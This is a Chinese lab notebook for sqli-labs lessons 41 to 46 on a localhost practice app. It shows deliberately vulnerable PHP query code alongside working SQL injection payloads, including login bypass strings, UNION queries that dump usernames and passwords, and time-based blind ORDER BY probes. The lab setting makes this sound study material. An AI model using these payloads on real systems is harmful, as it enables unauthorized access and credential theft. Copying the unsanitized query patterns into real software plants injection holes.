SQLI-LAB 的实战记录(Less 41 - Less 53)

以下内容只是本人在做 sqli-lab 练习时写下的记录，仅供参考。因为本人学过一些sql注入的内容，所以大部分内容是没有讲解的，如有不清楚的地方，请自行使用搜索引擎查询，相信会得到所需的内容。

（第41节：层次化查询数字型盲注）

Test:

    http://localhost/sqli-lab/Less-41/index.php?id=1'

注：有问题但不显示报错信息

Sourse Code：

$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
if (mysqli_multi_query($con1, $sql)){
    if ($result = mysqli_store_result($con1)){
        if($row = mysqli_fetch_row($result)){  
            printf("Your Username is : %s", $row[1]);
            printf("Your Password is : %s", $row[2]);
        }
    }
    if (mysqli_more_results($con1)) {
    }
}

Solution：

    http://localhost/sqli-lab/Less-41/index.php?id=0 or 1=1 %23

    其它：

    http://localhost/sqli-lab/Less-41/index.php?id=0 union select 1,version(),database() %23

    http://localhost/sqli-lab/Less-41/index.php?id=0 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() %23

    http://localhost/sqli-lab/Less-41/index.php?id=0 union select 1,group_concat(username),group_concat(password) from security.users where 1 %23

Less - 42 Stacked Query error based

（第42节：层次化查询基于错误）

Test:

    http://localhost/sqli-lab/Less-42/index.php
        login_user=admin&login_password=11'&mysubmit=login

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''11''' at line 1 注：password周围是单引号

Sourse Code：

$username = mysqli_real_escape_string($con1,$_POST["login_user"]);
$password = $_POST["login_password"];
$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
if (@mysqli_multi_query($con1, $sql)){
/* store first result set */
  if($result = @mysqli_store_result($con1)){
    if($row = @mysqli_fetch_row($result)){
      if ($row[1]){
        return $row[1];
      }else{
        return 0;
      }
    }
  }else{
    echo '<font size="5" color= "#FFFF00">';
    print_r(mysqli_error($con1));
    echo "</font>"; 
  }
}else{
  echo '<font size="5" color= "#FFFF00">';
  print_r(mysqli_error($con1));
  echo "</font>"; 
}

Solution：

    login_user=admin&login_password=1' or '1'='1&mysubmit=login

    其它：

    login_user=admin&login_password=0' union select 1,database(),3 or '1'='1&mysubmit=login

    login_user=admin&login_password=0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' #&mysubmit=login

    login_user=admin&login_password=0' union select 1,group_concat(username),group_concat(password) from security.users where 1 #&mysubmit=login

Less - 43 stacked Query String type

（第43节：层次化查询字符类型）

Test:

    http://localhost/sqli-lab/Less-43/index.php
        login_user=admin&login_password=11'&mysubmit=login

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''11'')' at line 1 注：password周围是单引号

Sourse Code：

$username = mysqli_real_escape_string($con1,$_POST["login_user"]);
$password = $_POST["login_password"];
$sql = "SELECT * FROM users WHERE username=('$username') and password=('$password')";
if (@mysqli_multi_query($con1, $sql)){
if($result = @mysqli_store_result($con1)){
    if($row = @mysqli_fetch_row($result)){
        if ($row[1]){
             return $row[1];
        }else{
             return 0;
        }
    }
}else{
     print_r(mysqli_error($con1));
}
}else{
     print_r(mysqli_error($con1));  
}

Solution：

    login_user=admin&login_password=1') or ('1')=('1&mysubmit=login

    其它：

    login_user=admin&login_password=0') union select 1,database(),3 or ('1')=('1&mysubmit=login

    login_user=admin&login_password=0') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' #&mysubmit=login

    login_user=admin&login_password=0') union select 1,group_concat(username),group_concat(password) from security.users where 1 #&mysubmit=login

（第44节：层次化查询盲注）

Test:

    http://localhost/sqli-lab/Less-44/index.php
        login_user=admin&login_password=0'&mysubmit=login

注：没有显示报错信息

$username = mysqli_real_escape_string($con1,$_POST["login_user"]);
$password = $_POST["login_password"];
$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
if (@mysqli_multi_query($con1, $sql)){
    if($result = @mysqli_store_result($con1)){
        if($row = @mysqli_fetch_row($result)){
            if ($row[1]){
                 return $row[1];
            }else{
                 return 0;
            }
        }
    }
}

Solution：

    login_user=admin&login_password=1' or '1'='1&mysubmit=login

    其它：

    login_user=admin&login_password=0' union select 1,database(),3 or '1'='1&mysubmit=login

    login_user=admin&login_password=0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' #&mysubmit=login

    login_user=admin&login_password=0' union select 1,group_concat(username),group_concat(password) from security.users where 1 #&mysubmit=login

（第45节：层次化查询基于盲注变形）

Test:

    http://localhost/sqli-lab/Less-45/index.php
        login_user=admin&login_password=0'&mysubmit=login

注：没有显示报错信息

Sourse Code：

$username = mysqli_real_escape_string($con1, $_POST["login_user"]);
$password = $_POST["login_password"];
$sql = "SELECT * FROM users WHERE username=('$username') and password=('$password')";
if (@mysqli_multi_query($con1, $sql)){
    if($result = @mysqli_store_result($con1)){
        if($row = @mysqli_fetch_row($result)){
            if ($row[1]){
                 return $row[1];
            }else{
                 return 0;
            }
        }
    }
}

Solution：

    login_user=admin&login_password=1') or ('1')=('1&mysubmit=login

    其它：

    login_user=admin&login_password=0') union select 1,database(),3 or ('1')=('1&mysubmit=login

    login_user=admin&login_password=0') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' #&mysubmit=login

    login_user=admin&login_password=0') union select 1,group_concat(username),group_concat(password) from security.users where 1 #&mysubmit=login

Less - 46 ORDER BY-Error-Numeric

（第46节：GET - 基于错误 - 数字型 - ORDER BY 从句）

Test:

    http://localhost/sqli-lab/Less-46/index.php?sort=1'

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1 注：数字型

    http://localhost/sqli-lab/Less-46/index.php?sort=1+asc
    http://localhost/sqli-lab/Less-46/index.php?sort=1+desc

注：可以通过asc 和desc查看返回数据是否相同来简单判断是否存在orderby注入

Sourse Code：

$sql = "SELECT * FROM users ORDER BY $id";
$result = mysql_query($sql);
if ($result){
    while ($row = mysql_fetch_assoc($result)){
        echo $row['id'];
        echo $row['username'];
        echo $row['password'];
    }   
}else{
     print_r(mysql_error());  
}

Solution：

    http://localhost/sqli-lab/Less-46/index.php?sort=1 and if(1=1, sleep(1), null)

    其它：

    http://localhost/sqli-lab/Less-46/index.php?sort=1 and (length(database())) = 8 and if(1=1, sleep(1), null)

    http://localhost/sqli-lab/Less-46/index.php?sort=1 and (ascii(substr((select database()) ,1,1))) = 115 and if(1=1, sleep(1), null)
